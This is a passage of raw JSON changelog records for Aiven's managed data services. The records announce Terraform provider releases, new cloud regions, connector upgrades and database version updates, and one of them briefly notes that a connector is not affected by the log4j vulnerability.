version:"}],"markDefs":[],"style":"normal"},{"_key":"907999d9bbca","_type":"block","children":[{"_key":"cbad3ce49ab60","_type":"span","marks":["code"],"text":"scheduled_rebalance_max_delay_ms"},{"_key":"1b91606e0414","_type":"span","marks":[],"text":" property for "},{"_key":"0add5c0ce861","_type":"span","marks":["code"],"text":"aiven_kafka"},{"_key":"54a6061c4b03","_type":"span","marks":[],"text":" and "},{"_key":"fe071ccceb16","_type":"span","marks":["code"],"text":"aiven_kafka_connect"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"b52642d0d68a","_type":"block","children":[{"_key":"1cc0e47c97ea","_type":"span","marks":["code"],"text":"openid"},{"_key":"b3cecc357a1c","_type":"span","marks":[],"text":" property for "},{"_key":"f1c7ea1641f3","_type":"span","marks":["code"],"text":"aiven_opensearch"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"dde89bbc9333","_type":"block","children":[{"_key":"69b1e787ae9e","_type":"span","marks":["code"],"text":"auto_login"},{"_key":"8062e92b332c","_type":"span","marks":[],"text":" property for "},{"_key":"42de2d44c325","_type":"span","marks":["code"],"text":"aiven_grafana"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"cfaec4f7fc33","_type":"block","children":[{"_key":"84c94db140630","_type":"span","marks":[],"text":"Additionally, this release includes fixes and improvements, including an enhanced go client with advanced retries for better stability."}],"markDefs":[],"style":"normal"},{"_key":"d7fa0a81de9c","_type":"block","children":[{"_key":"62e299d4b2280","_type":"span","marks":[],"text":"For more information on Aiven Provider for Terraform, check out the "},{"_key":"62e299d4b2281","_type":"span","marks":["c70ebac361aa"],"text":"documentation"},{"_key":"62e299d4b2282","_type":"span","marks":[],"text":"."}],"markDefs":[{"_key":"c70ebac361aa","_type":"link","href":"https://registry.terraform.io/providers/aiven/aiven/latest/docs"}],"style":"normal"},{"_key":"9a5d1bebb7b7","_type":"block","children":[{"_key":"23e5f6cad4c90","_type":"span","marks":[],"text":"\n"}],"markDefs":[],"style":"normal"}],"publishedAt":"2023-08-22T19:30:00.000Z","tags":[{"_key":"2a2913810a74","_ref":"fa4d544f-efa9-4a82-9ef7-74f714d5f34f","_type":"tool"}],"title":"Aiven Provider for Terraform version 4.8.0 now available"} {"__i18n_lang":"en","_createdAt":"2024-03-06T13:31:31Z","_id":"8be659ca-f49c-40fe-bcfd-719621ad8a40","_rev":"L3boCkkiM9On4ApfxPCv62","_type":"changelog","_updatedAt":"2024-03-13T06:39:14Z","changeType":"new","description":[{"_key":"d835a8f249d7","_type":"block","children":[{"_key":"a4cb5692e4790","_type":"span","marks":[],"text":"All Aiven services are now available in the Google Cloud Platform (GCP) region "},{"_key":"a4cb5692e4791","_type":"span","marks":["code"],"text":"europe-west10"},{"_key":"a4cb5692e4792","_type":"span","marks":[],"text":" (Berlin, Germany)."}],"markDefs":[],"style":"normal"},{"_key":"0cb244eed481","_type":"block","children":[{"_key":"11c2bc0be8760","_type":"span","marks":[],"text":"Check all supported GCP cloud regions in "},{"_key":"11c2bc0be8761","_type":"span","marks":["70e6cde70340"],"text":"List of available cloud regions"},{"_key":"11c2bc0be8762","_type":"span","marks":[],"text":"."}],"markDefs":[{"_key":"70e6cde70340","_type":"link","href":"https://docs.aiven.io/docs/platform/reference/list_of_clouds#google-cloud"}],"style":"normal"}],"publishedAt":"2024-03-12T06:38:00.000Z","tags":[{"_key":"a2a1b148fa73","_ref":"adc248e9-c65b-45b5-a4e6-930767897444","_type":"hostProvider"}],"title":"More GCP cloud regions supported: Berlin (Germany)"} {"_createdAt":"2022-10-27T09:08:10Z","_i18n_lang":"en","_id":"afcffe29-e261-4874-b849-7aa080d1b525","_rev":"LZdZtpADiowz8bkvB6nesR","_type":"changelog","_updatedAt":"2022-10-27T09:08:10Z","changeType":"","description":[{"_key":"8c709369-8d6e-4716-a452-c6540b029500","_type":"block","children":[{"_key":"0a0c9598-a9e9-44c0-bf98-dc1c254dd599","_type":"span","marks":[],"text":"Please see "},{"_key":"cc1db892-48f3-4903-8030-07c807a6714e","_type":"span","marks":["m16492748922061"],"text":"Pagerduty Datasource"},{"_key":"e0a1a409-530d-458e-b30c-31fcbfa7f639","_type":"span","marks":[],"text":" and "},{"_key":"77c2ce47-cf43-4e0c-917b-5f18fbdfa6be","_type":"span","marks":["m16641178815292"],"text":"Statusmap Panel"},{"_key":"57c84125-bd50-47b7-8cd8-48c6fec8ca51","_type":"span","marks":[],"text":" for more details."}],"markDefs":[{"_key":"m16492748922061","_type":"link","href":"https://grafana.com/plugins/xginn8-pagerduty-datasource"},{"_key":"m16641178815292","_type":"link","href":"https://grafana.com/plugins/flant-statusmap-panel"}],"style":"normal"}],"publishedAt":"2019-07-12T00:00:00.000Z","tags":[{"_key":"f2efe8f7-8cf7-4671-ab5a-ce6c36589af7","_ref":"b1cbe8d3-73b7-4d2e-90b6-13f07afb45d7","_type":"service"}],"title":"Added Pagerduty datasource and Statusmap panel to Grafana"} {"_createdAt":"2022-10-27T09:08:58Z","_i18n_lang":"en","_id":"affe0abb-fe2f-4947-8932-8c987ea7745e","_rev":"LZdZtpADiowz8bkvB6ngXC","_type":"changelog","_updatedAt":"2022-10-27T09:08:58Z","changeType":"","description":[{"_key":"f3914512-450b-4a16-a4b1-3d0a35defe25","_type":"block","children":[{"_key":"0c039ed2-d71d-4bcf-bf5b-74bca6517ffe","_type":"span","marks":[],"text":"Added grafana-gauge-panel plugin. Please see the "},{"_key":"8f680436-a36d-49c4-bd17-eb6b6c1118fd","_type":"span","marks":["m11058404923583"],"text":"release notes"},{"_key":"776b5c22-5b2e-49f0-97c5-9f915b42b4fb","_type":"span","marks":[],"text":" for more details."}],"markDefs":[{"_key":"m11058404923583","_type":"link","href":"https://community.grafana.com/t/release-notes-v5-4-x/12215"}],"style":"normal"}],"publishedAt":"2019-02-06T00:00:00.000Z","tags":[{"_key":"a795e125-6cea-45f9-ba67-6dfe8064d79a","_ref":"b1cbe8d3-73b7-4d2e-90b6-13f07afb45d7","_type":"service"}],"title":"Updated Grafana to version 5.4.3 and all plugins to latest versions"} {"_createdAt":"2022-10-27T09:07:37Z","_i18n_lang":"en","_id":"b0119cef-5646-4884-8d86-513930ca4d02","_rev":"LZdZtpADiowz8bkvB6ndrt","_type":"changelog","_updatedAt":"2022-10-27T09:07:37Z","changeType":"","description":[{"_key":"533fd296-25bb-4297-9397-5b68e4c42b3d","_type":"block","children":[{"_key":"f76c9d12-0c49-4675-a298-8f33059398bd","_type":"span","marks":[],"text":"Please see "},{"_key":"ddee9494-013e-401f-b465-d1e1dfc195b3","_type":"span","marks":["m14617582130165"],"text":"the changelog"},{"_key":"08291cc0-9739-4c1f-b9dd-6fbc38596692","_type":"span","marks":[],"text":" and "},{"_key":"2c6d85ce-5985-47bd-829d-ffb006f8ad55","_type":"span","marks":["m1768960206853"],"text":"the documentation"},{"_key":"1cc24dd4-819a-4fa3-9a2a-9267a8f38f5b","_type":"span","marks":[],"text":"."}],"markDefs":[{"_key":"m14617582130165","_type":"link","href":"https://github.com/snowflakedb/snowflake-kafka-connector/releases/tag/v0.5.2"},{"_key":"m1768960206853","_type":"link","href":"https://docs.snowflake.net/manuals/user-guide/kafka-connector.html"}],"style":"normal"}],"publishedAt":"2019-10-25T00:00:00.000Z","tags":[{"_key":"f2951037-63b9-4a1e-bcde-b6298eea7dcd","_ref":"5383cbbd-be42-476d-9851-14f1a7621644","_type":"service"}],"title":"Snowflake Kafka Connect Connector has been updated to version 0.5.2"} {"_createdAt":"2022-10-27T09:10:35Z","_i18n_lang":"en","_id":"b014cc3d-ab7e-4387-9166-c70bd55a7aee","_rev":"zF7BMhNhvYpWtPMfHNNyNK","_type":"changelog","_updatedAt":"2022-10-27T09:10:35Z","changeType":"","description":[{"_key":"ee6a5ef9-c178-41fe-9bd1-fa119a244cf0","_type":"block","children":[{"_key":"32433570-3497-4405-b6fc-85838c358641","_type":"span","marks":[],"text":"See the "},{"_key":"86f65ad9-067a-40ca-8d3d-60795880b587","_type":"span","marks":["m1895908034845"],"text":"release announcement"},{"_key":"82205a80-dec9-4d9c-9d18-f0ac470b5fd0","_type":"span","marks":[],"text":" for more details."}],"markDefs":[{"_key":"m1895908034845","_type":"link","href":"https://www.postgresql.org/about/news/1834/"}],"style":"normal"}],"publishedAt":"2018-03-01T00:00:00.000Z","tags":[{"_key":"8e3b9567-538a-404d-8f46-c9d2a67a4ffe","_ref":"3d8215ce-236e-42c1-9599-a3f68ad67d6d","_type":"service"}],"title":"Aiven for PostgreSQL updated to latest minor releases 10.3, 9.6.8, 9.5.12 and 9.3.22"} {"_createdAt":"2022-10-27T09:01:59Z","_i18n_lang":"en","_id":"b01ee62e-76df-4f26-9ed6-834413b07ddf","_rev":"G4qVVLRzbD2hZSG98TtLXT","_type":"changelog","_updatedAt":"2022-10-27T09:01:59Z","changeType":"","description":[{"_key":"770556a9-01a6-4eb0-9ffc-78d0519a242b","_type":"block","children":[{"_key":"8b82e19c-941e-40d8-bab8-bf0296dbe7e1","_type":"span","marks":[],"text":"This feature makes key metrics available to users that enable the Deep Database Monitoring feature on the DataDog platform. It also provides real-time visibility on slow queries allowing you to take action on them to improve the database performance. For more information, see "},{"_key":"d74cdf2b-0805-488e-96b5-154a917e5d1c","_type":"span","marks":["m6171957967369"],"text":"Deep Database Monitoring"},{"_key":"a761617b-fdc9-4ecd-9902-be438a126ca1","_type":"span","marks":[],"text":" DataDog article. For information on how to send metrics from your Aiven service to your DataDog account, see "},{"_key":"07e5721c-8918-458d-b0e7-5583548b4d33","_type":"span","marks":["m4740150139682"],"text":"Send metrics to DataDog"},{"_key":"b61b19e5-9fab-45e2-9223-3a6e5af65b6e","_type":"span","marks":[],"text":"."}],"markDefs":[{"_key":"m6171957967369","_type":"link","href":"https://www.datadoghq.com/product/database-monitoring/"},{"_key":"m4740150139682","_type":"link","href":"https://docs.aiven.io/docs/integrations/datadog/datadog-metrics.html/"}],"style":"normal"}],"publishedAt":"2022-09-07T00:00:00.000Z","tags":[{"_key":"f0751290-4dbe-435e-87ab-76bca985a270","_ref":"3d8215ce-236e-42c1-9599-a3f68ad67d6d","_type":"service"}],"title":"Aiven for PostgreSQL provides you with real-time visibility of queries on DataDog"} {"_createdAt":"2022-10-27T09:06:20Z","_i18n_lang":"en","_id":"b0681741-0f1a-4181-a8d9-517992a6f839","_rev":"WYf15BwQWb3V4yHfbxOdlL","_type":"changelog","_updatedAt":"2022-10-27T09:06:20Z","changeType":"","description":[{"_key":"824daca9-4051-402c-bb26-8c5d90f1c4ce","_type":"block","children":[{"_key":"a8200a43-eba7-417e-8fa8-4d7925361333","_type":"span","marks":[],"text":"Please see the "},{"_key":"2c4bd375-7293-4eca-be7e-39f45a822adf","_type":"span","marks":["m10359112054550"],"text":"changelog"},{"_key":"edaccac9-0209-4825-81e3-6eb3b545b4e9","_type":"span","marks":[],"text":" and "},{"_key":"29909e35-d6ec-4164-bb20-25765efa9607","_type":"span","marks":["m9267121393957"],"text":"documentation"},{"_key":"0421db6d-a94f-41f4-856c-ef4843030133","_type":"span","marks":[],"text":"."}],"markDefs":[{"_key":"m10359112054550","_type":"link","href":"https://github.com/aiven/aiven-kafka-connect-s3/releases/tag/2.6.0"},{"_key":"m9267121393957","_type":"link","href":"https://github.com/aiven/aiven-kafka-connect-s3"}],"style":"normal"}],"publishedAt":"2020-07-30T00:00:00.000Z","tags":[{"_key":"9a166aba-d6fb-473c-b69d-f2e0c37e832f","_ref":"5383cbbd-be42-476d-9851-14f1a7621644","_type":"service"}],"title":"Aiven Kafka S3 Sink Connector has been updated to version 2.6.0"} {"_createdAt":"2022-10-27T09:07:26Z","_i18n_lang":"en","_id":"b1142d39-8dce-4641-a328-6005cceb92ab","_rev":"HEiYk6nGjmUICadcDbTE4b","_type":"changelog","_updatedAt":"2022-10-27T09:07:26Z","changeType":"","description":[{"_key":"a3e74048-beeb-4aee-a3bf-441ae163a688","_type":"block","children":[{"_key":"9e9c6c39-0586-4a1f-803f-2c4014145d9a","_type":"span","marks":[],"text":"Please see "},{"_key":"433fe9ae-01b4-4d0b-9e03-0b166ccd91ad","_type":"span","marks":["m11313966960722"],"text":"the changelog"},{"_key":"924270da-7e1d-4cb4-af83-3e780fb2aff7","_type":"span","marks":[],"text":" and "},{"_key":"fe1a37bc-abc7-4b05-b4d8-a852b1923fc8","_type":"span","marks":["m1768960206853"],"text":"the documentation"},{"_key":"e5237aa6-890e-49ad-a743-fcca65f85e1d","_type":"span","marks":[],"text":"."}],"markDefs":[{"_key":"m11313966960722","_type":"link","href":"https://github.com/snowflakedb/snowflake-kafka-connector/releases/tag/v0.5.5"},{"_key":"m1768960206853","_type":"link","href":"https://docs.snowflake.net/manuals/user-guide/kafka-connector.html"}],"style":"normal"}],"publishedAt":"2019-11-09T00:00:00.000Z","tags":[{"_key":"90f30729-cdc0-4740-aa5a-daea20b3d687","_ref":"5383cbbd-be42-476d-9851-14f1a7621644","_type":"service"}],"title":"Snowflake Kafka Connect Connector has been updated to version 0.5.5"} {"_createdAt":"2022-10-27T09:11:19Z","_i18n_lang":"en","_id":"b16fb321-d9a1-41ca-b657-536f8411b702","_rev":"LZdZtpADiowz8bkvB6nmRY","_type":"changelog","_updatedAt":"2022-10-27T09:11:19Z","changeType":"","description":[{"_key":"85a7d758-7b1e-4344-9f6c-09851735b8c8","_type":"block","children":[{"_key":"aa3f327a-ee2b-4c2f-bc18-ee63f4ee8972","_type":"span","marks":[],"text":"This allows you to take screenshots of your graphs automatically to an S3 bucket."}],"markDefs":[],"style":"normal"}],"publishedAt":"2017-09-07T00:00:00.000Z","tags":[{"_key":"dac1c680-8e8b-4efa-8266-811148f5aafe","_ref":"b1cbe8d3-73b7-4d2e-90b6-13f07afb45d7","_type":"service"}],"title":"Added support for \u003ccode\u003eexternal_image_storage\u003c/code\u003e Amazon Web Services S3 for alerts"} {"__i18n_lang":"en","_createdAt":"2023-03-22T13:51:53Z","_id":"b212b423-e4e5-49be-97a6-b24adcd8385b","_rev":"xiZWRCvY8mGrbEYNJPlW53","_type":"changelog","_updatedAt":"2023-03-22T13:51:53Z","changeType":"improved","description":[{"_key":"c996688c51c9","_type":"block","children":[{"_key":"412c49f5abe40","_type":"span","marks":[],"text":"The Couchbase connector for Aiven for Apache Kafka has been upgraded to version 4.1.11. This version includes enhancements and improvements that offer improved functionality and stability. For a complete list of changes, see the release notes at "},{"_key":"412c49f5abe41","_type":"span","marks":["47c5f4c46d02"],"text":"Release Notes | Couchbase Docs"},{"_key":"412c49f5abe42","_type":"span","marks":[],"text":". For information on how to use this connector, see "},{"_key":"412c49f5abe43","_type":"span","marks":["d585f82cbb2d"],"text":"Create a source connector from Couchbase to Apache Kafka®"},{"_key":"412c49f5abe44","_type":"span","marks":[],"text":" and "},{"_key":"412c49f5abe45","_type":"span","marks":["a3456a7dec32"],"text":"Create a sink connector from Apache Kafka® to Couchbase"},{"_key":"412c49f5abe46","_type":"span","marks":[],"text":"."}],"markDefs":[{"_key":"47c5f4c46d02","_type":"link","href":"https://docs.couchbase.com/kafka-connector/current/release-notes.html#v4.1.11"},{"_key":"d585f82cbb2d","_type":"link","href":"https://docs.aiven.io/docs/products/kafka/kafka-connect/howto/couchbase-source"},{"_key":"a3456a7dec32","_type":"link","href":"https://docs.aiven.io/docs/products/kafka/kafka-connect/howto/couchbase-sink"}],"style":"normal"}],"publishedAt":"2023-03-22T13:50:51.158Z","tags":[{"_key":"d494bfacd908","_ref":"5383cbbd-be42-476d-9851-14f1a7621644","_type":"service"}],"title":"Upgraded Couchbase connector for Aiven for Apache Kafka"} {"_createdAt":"2022-10-27T09:02:58Z","_i18n_lang":"en","_id":"b266bd58-8ec9-4980-b749-22dd478a95be","_rev":"GNtcCQgxf3P3DqpLt1idJl","_type":"changelog","_updatedAt":"2022-10-27T09:02:58Z","changeType":"","publishedAt":"2022-02-28T00:00:00.000Z","tags":[{"_key":"2b5fc6fc-c23c-4473-95df-dea61c17f8f8","_ref":"3d8215ce-236e-42c1-9599-a3f68ad67d6d","_type":"service"}],"title":"Aiven for PostgreSQL TimescaleDB version 2.6.0 is available."} {"_createdAt":"2022-10-27T09:03:45Z","_i18n_lang":"en","_id":"b272d837-a6af-42b1-ab69-029829197bc7","_rev":"GNtcCQgxf3P3DqpLt1immz","_type":"changelog","_updatedAt":"2022-10-27T09:03:45Z","changeType":"","description":[{"_key":"6b5dd788-eca7-444e-874c-39f84dc4d88e","_type":"block","children":[{"_key":"cda8c6e3-ba6c-482f-bd4e-2ffdb06ce178","_type":"span","marks":[],"text":"All Aiven services are now available in the "},{"_key":"55541230-b77a-445d-81ae-6bf71f0cca57","_type":"span","marks":["code"],"text":"northamerica-northeast2"},{"_key":"81b3c271-bcf2-488f-ba0a-6a63b52168e2","_type":"span","marks":[],"text":" region."}],"markDefs":[],"style":"normal"}],"publishedAt":"2021-08-26T00:00:00.000Z","tags":[{"_key":"5c98b482-d242-4b2c-8b20-6b6fa0f96da0","_ref":"adc248e9-c65b-45b5-a4e6-930767897444","_type":"hostProvider"}],"title":"Added support for the Google Cloud Platform (GCP) Toronto region"} {"__i18n_lang":"en","_createdAt":"2024-08-07T08:47:42Z","_id":"b282b47c-4cc6-43af-bfb1-8db3f843b1e7","_rev":"5y7swPKAcYPWMoG0mrSrWL","_type":"changelog","_updatedAt":"2024-08-07T08:47:42Z","changeType":"new","description":[{"_key":"3e395cd15b52","_type":"block","children":[{"_key":"58861974b01e","_type":"span","marks":[],"text":"Aiven for Valkey is now supported in Terraform with the "},{"_key":"0df52f585e7d","_type":"span","marks":["code"],"text":"aiven_valkey"},{"_key":"fa3ce36ec91e","_type":"span","marks":[],"text":" and "},{"_key":"974c33f6ffb2","_type":"span","marks":["code"],"text":"aiven_valkey_user"},{"_key":"d731d06659f4","_type":"span","marks":[],"text":" resources."}],"markDefs":[],"style":"normal"},{"_key":"0173b1b3247b","_type":"block","children":[{"_key":"8fdb3cde8cbe","_type":"span","marks":[],"text":"The "},{"_key":"0c73215fdab0","_type":"span","marks":["code"],"text":"aiven_project_user"},{"_key":"86ed0878c8bf","_type":"span","marks":[],"text":" deprecation has also been removed in this release, meaning you can continue to use this resource."}],"markDefs":[],"style":"normal"},{"_key":"772dac1a2b7c","_type":"block","children":[{"_key":"d5d26f44d0220","_type":"span","marks":[],"text":"For more details on fixes and updates, view the complete Aiven Provider for Terraform "},{"_key":"d5d26f44d0221","_type":"span","marks":["324dee7e64be"],"text":"changelog"},{"_key":"d5d26f44d0222","_type":"span","marks":[],"text":"."}],"markDefs":[{"_key":"324dee7e64be","_type":"link","href":"https://github.com/aiven/terraform-provider-aiven/blob/main/CHANGELOG.md"}],"style":"normal"},{"_key":"b15020d6b69c","_type":"block","children":[{"_key":"fc0b664043cc0","_type":"span","marks":[],"text":"\n"}],"markDefs":[],"style":"normal"}],"publishedAt":"2024-07-23T08:42:00.000Z","tags":[{"_key":"85e1dbc050fb","_ref":"fa4d544f-efa9-4a82-9ef7-74f714d5f34f","_type":"tool"}],"title":"Aiven Provider for Terraform version 4.21.0 now available"} {"_createdAt":"2022-10-27T09:07:12Z","_i18n_lang":"en","_id":"b2d82e3e-8ad7-4927-85ed-b745c56a163a","_rev":"Dn65xz5Z1k22g7BhlztJFt","_type":"changelog","_updatedAt":"2022-10-27T09:07:12Z","changeType":"","publishedAt":"2020-01-27T00:00:00.000Z","tags":[{"_key":"98f700a4-be83-4df7-bebb-4719f7502749","_ref":"3d8215ce-236e-42c1-9599-a3f68ad67d6d","_type":"service"}],"title":"Read access to connection pool statistics"} {"_createdAt":"2022-10-27T09:05:05Z","_i18n_lang":"en","_id":"b3a7dbbe-fc6a-4b0a-b15a-f7ded1718a09","_rev":"HEiYk6nGjmUICadcDbSkqM","_type":"changelog","_updatedAt":"2022-10-27T09:05:05Z","changeType":"","description":[{"_key":"125c3099-8526-4b06-b48b-65a406e890d6","_type":"block","children":[{"_key":"62be37a5-133d-45f1-bc4a-0e4bff85fbd7","_type":"span","marks":[],"text":"PostgreSQL 13 comes with many new features and performance enhancements. Please see our blog "},{"_key":"5e1b1083-194a-40d0-9d03-07a4eef23928","_type":"span","marks":["m12780306980030"],"text":"post"},{"_key":"1ee78692-8029-4db6-a34e-7b7537fe0ce4","_type":"span","marks":[],"text":" for more details."}],"markDefs":[{"_key":"m12780306980030","_type":"link","href":"https://aiven.io/blog/aiven-for-postgresql-13-is-now-available"}],"style":"normal"}],"publishedAt":"2021-02-15T00:00:00.000Z","tags":[{"_key":"ed36bc6a-2556-4dc8-9875-3afc7d8b39d5","_ref":"3d8215ce-236e-42c1-9599-a3f68ad67d6d","_type":"service"}],"title":"Aiven for PostgreSQL 13 now available"} {"__i18n_lang":"en","_createdAt":"2022-11-22T10:40:59Z","_id":"bcf599bb-5d3f-4ae6-a152-0214371834cc","_rev":"6wJ6OxF1mPB2I3zefuhHh9","_type":"changelog","_updatedAt":"2023-01-26T11:28:58Z","changeType":"improved","description":[{"_key":"32ac5819f0f5","_type":"block","children":[{"_key":"94a1f2d934b00","_type":"span","marks":[],"text":"Aiven for ClickHouse has been updated from version 21.11 to version 22.8. This change introduces a number of improvements to your managed ClickHouse service(s): new features, performance improvements, and bug fixes. See "},{"_key":"223da5a0d33b","_type":"span","marks":["0049c2bf7db8"],"text":"ClickHouse 2022 Changelog"},{"_key":"7faa6fac1521","_type":"span","marks":[],"text":" for more details on what specific versions cover."}],"markDefs":[{"_key":"0049c2bf7db8","_type":"link","href":"https://clickhouse.com/docs/en/whats-new/changelog/#-clickhouse-release-228-2022-08-18"}],"style":"normal"}],"publishedAt":"2022-11-21T10:40:00.000Z","tags":[{"_key":"7403d459e8c5","_ref":"d0c7af0a-c0a3-4169-83ad-6ac0bcda70a1","_type":"service"}],"title":"Aiven for ClickHouse has been updated to version 22.8."} {"_createdAt":"2022-10-27T09:07:05Z","_i18n_lang":"en","_id":"be0eb95e-7232-42da-8a8f-28eb125a6124","_rev":"RS2LhK1JP0SKK0JvX1QhM1","_type":"changelog","_updatedAt":"2022-10-27T09:07:05Z","changeType":"","description":[{"_key":"ff98b16a-e558-4589-b944-d690c8a181c8","_type":"block","children":[{"_key":"5377db74-6a91-4d60-ad08-5a8a2cacc70a","_type":"span","marks":[],"text":"See "},{"_key":"90e67982-8aad-43d1-99c4-adfba03f1a3d","_type":"span","marks":["m2288653232364"],"text":"release notes"},{"_key":"7e3c9c20-b8b9-405e-8070-64e35193c9af","_type":"span","marks":[],"text":" for more details."}],"markDefs":[{"_key":"m2288653232364","_type":"link","href":"https://www.postgresql.org/docs/release/"}],"style":"normal"}],"publishedAt":"2020-02-19T00:00:00.000Z","tags":[{"_key":"cb878caa-e7b8-49af-9a4d-88803c43df7c","_ref":"3d8215ce-236e-42c1-9599-a3f68ad67d6d","_type":"service"}],"title":"Aiven for PostgreSQL updated to latest minor releases 12.2, 11.7, 10.12, 9.6.17 and 9.5.21"} {"_createdAt":"2022-10-27T09:02:48Z","_i18n_lang":"en","_id":"be4217b2-1c22-4404-b417-51db023265a5","_rev":"P6Du4FUPx13pONAPQIG3o3","_type":"changelog","_updatedAt":"2022-10-27T09:02:48Z","changeType":"","description":[{"_key":"26850612-1787-4ee0-9ad2-d426fb488525","_type":"block","children":[{"_key":"8d2c4011-1bee-4b71-9d0b-55bef385eeee","_type":"span","marks":[],"text":"Please see "},{"_key":"0d2827c2-0dd9-41ce-938b-0c55ebfe83ec","_type":"span","marks":["m4511173340149"],"text":"the changelog"},{"_key":"61719069-8474-450f-840d-307ff39e2866","_type":"span","marks":[],"text":" and "},{"_key":"4a8a014f-e48e-4298-aeda-409a20aa1d89","_type":"span","marks":["m1768960206853"],"text":"the documentation"},{"_key":"8b22a3bc-7257-4390-86c8-a54f9d553f23","_type":"span","marks":[],"text":"."}],"markDefs":[{"_key":"m4511173340149","_type":"link","href":"https://github.com/snowflakedb/snowflake-kafka-connector/releases/tag/v1.7.1"},{"_key":"m1768960206853","_type":"link","href":"https://docs.snowflake.net/manuals/user-guide/kafka-connector.html"}],"style":"normal"}],"publishedAt":"2022-04-12T00:00:00.000Z","tags":[{"_key":"20b27c1a-41dd-4646-b3a3-e070e0cb3557","_ref":"5383cbbd-be42-476d-9851-14f1a7621644","_type":"service"}],"title":"Snowflake Kafka Connect Connector has been updated to version 1.7.1"} {"_createdAt":"2022-10-27T09:05:44Z","_i18n_lang":"en","_id":"be596875-c5ac-4355-8b6a-fea4c916ccd5","_rev":"GNtcCQgxf3P3DqpLt1jTIL","_type":"changelog","_updatedAt":"2022-10-27T09:05:44Z","changeType":"","publishedAt":"2020-11-03T00:00:00.000Z","tags":[{"_key":"e93544a0-ff21-4468-b965-6d8c5182ea31","_ref":"3d8215ce-236e-42c1-9599-a3f68ad67d6d","_type":"service"}],"title":"Upgraded Aiven For PostgreSQL extensions pg_partman to version 4.4.0 and the pg_cron extension to version 1.3.0"} {"_createdAt":"2022-10-27T09:03:13Z","_i18n_lang":"en","_id":"b3c0ca0f-3771-4b8c-bbd3-6edef4cb797a","_rev":"IjlUDifCqOGnZON8gZvjuO","_type":"changelog","_updatedAt":"2022-10-27T09:03:13Z","changeType":"","description":[{"_key":"02cf9c7a-a382-4292-b83d-7d4c9b3284a7","_type":"block","children":[{"_key":"8a1eafd2-5604-468b-92ff-5bc0a7d5c0c3","_type":"span","marks":[],"text":"Please see "},{"_key":"b5b30699-dec5-41e7-a490-cd2dde8ac0e6","_type":"span","marks":["m3135130913878"],"text":"the changelog"},{"_key":"a358f1c9-6f40-4164-956c-9d40eb7506d0","_type":"span","marks":[],"text":" and "},{"_key":"75e59153-2ba9-4ee3-b75f-6cf2b04c6fa7","_type":"span","marks":["m1768960206853"],"text":"the documentation"},{"_key":"bf99eda3-ba34-41ac-85fb-89bf1298e7d8","_type":"span","marks":[],"text":". Please note that the connector on Aiven is not affected by the CVE-2021-44228 log4j vulnerability so it's not necessary to update for the security reasons."}],"markDefs":[{"_key":"m3135130913878","_type":"link","href":"https://github.com/snowflakedb/snowflake-kafka-connector/releases/tag/v1.6.3"},{"_key":"m1768960206853","_type":"link","href":"https://docs.snowflake.net/manuals/user-guide/kafka-connector.html"}],"style":"normal"}],"publishedAt":"2021-12-17T00:00:00.000Z","tags":[{"_key":"2205132e-46d7-43ad-9368-d87543878de7","_ref":"5383cbbd-be42-476d-9851-14f1a7621644","_type":"service"}],"title":"Snowflake Kafka Connect Connector has been updated to version 1.6.3"} {"__i18n_lang":"en","_createdAt":"2022-11-16T15:22:37Z","_id":"c00354f3-d7ca-4486-b389-7d29d9930144","_rev":"HZmKrrEYvZMEpN2EuxVkpu","_type":"changelog","_updatedAt":"2022-11-23T16:24:36Z","changeType":"new","description":[{"_key":"0c65895c1c9d","_type":"block","children":[{"_key":"1ff2fab3a84a0","_type":"span","marks":[],"text":"The Aiven Console has a new look. It includes a new top menu to help you quickly and easily navigate between your accounts and projects and find the most important management features. The new top menu also provides one-click access to important admin and billing functions. To learn more, see "},{"_key":"1ff2fab3a84a1","_type":"span","marks":["5f439178f200"],"text":"Aiven Console documentation"},{"_key":"1ff2fab3a84a2","_type":"span","marks":[],"text":"."}],"markDefs":[{"_key":"5f439178f200","_type":"link","href":"https://docs.aiven.io/docs/tools/aiven-console.html"}],"style":"normal"}],"publishedAt":"2022-11-10T15:22:00.000Z","tags":[{"_key":"2fb3ca0517ed","_ref":"9096ab2c-f4cd-421e-aa1a-b10d462d6011","_type":"tool"}],"title":"Aiven Console has a new look"} {"_createdAt":"2022-10-27T09:06:24Z","_i18n_lang":"en","_id":"b55d61d8-72b4-4afd-bffe-94346da07b5a","_rev":"RS2LhK1JP0SKK0JvX1Qaz1","_type":"changelog","_updatedAt":"2022-10-27T09:06:24Z","changeType":"","description":[{"_key":"bb9f2843-40c6-4c6e-9714-5aa5ce1b8ccf","_type":"block","children":[{"_key":"d4f9f233-f849-4e05-8fd7-3c0fea22beaa","_type":"span","marks":[],"text":"Please see the "},{"_key":"6119c5ba-d629-4a35-8933-af6aebcef023","_type":"span","marks":["m10441268869710"],"text":"release notes"},{"_key":"b6cf68dc-2605-4071-9aa4-454587ba59fe","_type":"span","marks":[],"text":" and the "},{"_key":"76616b56-82fa-4421-8df3-b99f62ec66f0","_type":"span","marks":["m1776731392458"],"text":"documentation"},{"_key":"b9144947-faf8-4e8b-bf12-ca27ea4c76e0","_type":"span","marks":[],"text":"."}],"markDefs":[{"_key":"m10441268869710","_type":"link","href":"https://github.com/aiven/aiven-kafka-connect-jdbc/releases/tag/v6.1.2"},{"_key":"m1776731392458","_type":"link","href":"https://github.com/aiven/aiven-kafka-connect-jdbc"}],"style":"normal"}],"publishedAt":"2020-07-15T00:00:00.000Z","tags":[{"_key":"8fd929d1-a969-4d6f-a2d5-7d7f979cfd6c","_ref":"5383cbbd-be42-476d-9851-14f1a7621644","_type":"service"}],"title":"Aiven Kafka Connect sink and source JDBC connectors have been updated to version 6.1.2"} {"_createdAt":"2022-10-27T09:10:01Z","_i18n_lang":"en","_id":"b5f4625b-153a-47f9-b96a-1fc4a81d1e8f","_rev":"tsRucK8MIVb3810duaE6sW","_type":"changelog","_updatedAt":"2022-10-27T09:10:01Z","changeType":"","description":[{"_key":"f0ac517a-e623-49f1-94f1-dad462988c9f","_type":"block","children":[{"_key":"100446ae-d9c4-433d-8612-187334e60be3","_type":"span","marks":[],"text":"As a new feature it's also now possible to choose the Kafka major version to use. Aiven for Apache Kafka services get minor version upgrades while the major version stays fixed. Upgrading to a newer major version is possible by going to your Aiven for Apache Kafka service's dashboard and clicking on the 'Upgrade Kafka...' 